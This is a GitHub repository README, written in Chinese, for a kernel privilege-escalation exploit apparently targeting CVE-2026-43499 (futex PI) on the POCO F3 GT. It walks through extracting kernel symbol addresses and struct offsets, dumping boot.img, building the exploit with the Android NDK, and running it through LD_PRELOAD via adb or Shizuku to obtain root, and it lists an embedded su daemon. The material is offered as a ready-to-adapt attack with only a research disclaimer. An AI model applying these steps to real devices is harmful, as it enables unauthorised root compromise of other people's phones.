NothingFumo/ghostlock-aresin

GitHub: NothingFumo/ghostlock-aresin

针对 POCO F3 GT(MediaTek Dimensity 1200)的 CVE-2026-43499 内核提权漏洞利用代码,通过 futex PI 链操作实现 Android 本地权限提升。

Stars: 0 | Forks: 0

# GhostLock (CVE-2026-43499) — POCO F3 GT (aresin) 针对 MediaTek Dimensity 1200 (MT6893) 的 Data-only physmap overwrite 提权漏洞利用。 内核:`4.14.186-android13` / MIUI V14.0.4.0.TKJCNXM。 ## ⚠️ 前置条件 - **设备**:POCO F3 GT / Redmi K40 Gaming Edition (代号:aresin) - **芯片**:MediaTek Dimensity 1200 (MT6893) - **系统**:Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM) - **内核**:4.14.186-g0dc1d312efb3 - **无需解 BL** — 通过 Shizuku(无线调试)即可获得 shell 权限来运行 - **Shizuku** 或 **adb shell** 可执行 arm64 二进制 - 运行后**设备会重启**(内核 panic — 预期行为)。如需保存日志,提前连好 adb logcat ## ✅ 漏洞条件检查 | 条件 | 状态 | 说明 | |------|------|------| | 内核版本范围 | ✅ | 4.14.186 在 2.6.39 ~ 7.0.4 范围内 | | CONFIG_FUTEX_PI | ✅ | 已启用 (y) | | CONFIG_RT_MUTEXES | ✅ | 已启用 (y) | | 架构 | ✅ | aarch64 | | CONFIG_PREEMPT | ✅ | 已启用 (y) | | CONFIG_RANDOMIZE_KSTACK | ❓ | 需确认 (4.14 可能不支持) | ## 🔧 适配步骤 ### 第一步:提取内核符号地址 ``` # 在设备上运行提取脚本 adb push tools/extract_offsets.sh /data/local/tmp/ adb shell sh /data/local/tmp/extract_offsets.sh adb pull /data/local/tmp/ghostlock_offsets.txt ``` 如果有 root (Magisk),可以直接从 `/proc/kallsyms` 提取: ``` adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'" ``` ### 第二步:提取 vmlinux 并分析结构体偏移 #### 方法 A:从 boot.img 提取 vmlinux ``` # 1. 获取 boot.img adb shell "ls /dev/block/by-name/boot" adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img" adb pull /data/local/tmp/boot.img # 2. 用 magiskboot 解包 magiskboot unpack boot.img # 产物: kernel (压缩的 vmlinux) # 3. 解压 vmlinux magiskboot decompress kernel vmlinux.elf # 4. 用 pahole 提取结构体偏移 pahole --structs=rt_mutex_waiter vmlinux.elf pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group" ``` #### 方法 B:用 Ghidra 分析 1. 用 Ghidra 打开 `vmlinux.elf` 2. 搜索 `rt_mutex_waiter` 和 `task_struct` 结构体 3. 记录各字段偏移 ### 第三步:填写 target.h 将提取到的偏移填入 `target.h` 中所有 `0xTODO` 的位置。 关键偏移对照表: | 字段 | 说明 | 提取方法 | |------|------|----------| | `INIT_TASK` | init_task 地址 | `/proc/kallsyms` 或 Ghidra | | `INIT_CRED` | init_cred 地址 | `/proc/kallsyms` 或 Ghidra | | `WAITER_*_OFF` | rt_mutex_waiter 字段偏移 | pahole / Ghidra | | `FAKE_TASK_*_OFF` | task_struct 字段偏移 | pahole / Ghidra | | `TASK_CRED_OFF` | cred 指针偏移 | pahole / Ghidra | ### 第四步:编译 ``` # 需要 Android NDK r27+ export NDK_ROOT=/path/to/android-ndk-r27 # 或使用 Android Studio 中的 NDK export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973 # 编译 make preload TARGET_HEADER=target.h # 产物: build/bin/preload.so ``` ### 第五步:测试 ``` # 推送到设备 adb push build/bin/preload.so /data/local/tmp/ adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true # 运行 adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin # 或用 Shizuku # 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin ``` ## 📊 预期行为 | 阶段 | 输出 | 说明 | |------|------|------| | 初始化 | `[*] GhostLock - aresin (MT6893 D1200) 4.14.186` | 设备识别正确 | | CPU 绑定 | `[+] CPU0 pinned` | 固定到 CPU0 | | 地址加载 | `[*] init_task @ 0xffffffc00xxxxxxx` | 固定 LM 地址 | | 权限检查 | `[+] uid: xxxxx` | 打印当前 uid | | KASLR slide | `[+] slide = 0` 或 `slide = xxx` | KASLR 检测 | | 触发提权 | 成功后 uid 变 0 | 拿到 root | | 失败 | `[-] ...` + 重启 | 内核 panic(漏洞存在但偏移需调整) | ## ⚠️ 重要注意事项 ### 4.14.x vs 6.1.x 内核差异 1. **rt_mutex_waiter 结构不同**: - 4.14.x 使用 `plist_node` 而非 `rb_node` - 字段偏移完全不同 - 可能没有 `deadline` / `ww_ctx` 字段 2. **task_struct 布局不同**: - 4.14.x 的 `pi_blocked_on`、`pi_lock` 等偏移与 6.1.x 不同 - `uclamp` 相关字段可能不存在于 4.14.x 3. **KASLR 实现不同**: - 4.14.x 的 KASLR 随机化方式与 6.1.x 不同 - 泄漏方法可能需要调整 4. **Android 13 vs 14 安全差异**: - SELinux 策略可能不同 - `/proc/self/pagemap` 访问限制可能不同 ### 偏移验证 填入偏移后,建议用 Ghidra 交叉验证: 1. 在 Ghidra 中打开 vmlinux.elf 2. 跳转到 `rt_mutex_waiter` 结构体 3. 确认每个字段的偏移与 `target.h` 一致 ## 📁 文件结构 ``` ghostlock-aresin/ ├── README.md # 本文件 ├── Makefile # 编译脚本 ├── target.h # 目标设备偏移定义 (需要填写) ├── src/ # 源码 │ ├── main.c # 主利用逻辑 │ ├── util.c # 工具函数 │ ├── slide.c # KASLR 泄漏 │ ├── fops.c # 文件操作 │ ├── pipe.c # pipe 相关 │ ├── preload.c # LD_PRELOAD 入口 │ ├── su_daemon.c # su 守护进程 │ ├── su_blob.S # su 二进制嵌入 │ ├── standalone.c # 独立运行 │ ├── common.h # 公共定义 │ └── offset.h # 偏移计算 ├── tools/ │ └── extract_offsets.sh # 偏移提取脚本 └── build/ ├── bin/ # 编译产物 └── embed/ # 嵌入文件 ``` ## 📜 许可证 仅供研究/教育目的。使用风险自负。 **原版 PoC**:[NebuSec/CyberMeowfia](https://github.com/NebuSec/CyberMeowfia) → `IonStack/CVE-2026-43499/exploit/` **适配对象**:POCO F3 GT (aresin),由 ghostlock-aresin 完成
标签:0day挖掘, Android提权, ARM64, Web报告查看器, 内核安全, 客户端加密, 嵌入式Linux, 目录枚举, 移动安全, 联发科